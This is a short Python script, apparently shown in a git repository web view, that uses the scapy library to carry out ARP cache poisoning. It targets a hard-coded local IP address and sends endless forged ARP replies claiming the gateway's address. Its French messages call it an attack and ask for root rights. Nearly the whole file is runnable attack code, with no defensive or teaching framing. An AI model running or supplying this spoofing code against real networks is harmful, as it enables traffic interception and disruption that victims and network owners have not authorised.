blob: 48197044576d7ad104c2782a4f946ddf32c310d6 (
plain)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
|
#!/usr/bin/env python
from scapy.all import *
# example:
ip="192.168.2.104"
ip_gateway="192.168.2.254"
def arp_poison(ip,ip_gateway):
matrame = Ether()/ARP(pdst=ip)
srp(matrame,timeout=2,verbose=0)
victime_arp = matrame[Ether].dst
packet=Ether(dst=victime_arp)/ARP(op="is-at", psrc=ip_gateway)
print("Ctrl-C pour arrêter l'attaque !")
sendp(packet,inter=2, loop=1)
try:
arp_poison(ip,ip_gateway)
except PermissionError:
print(f"{sys.argv[0]} nécessite les droits root")
|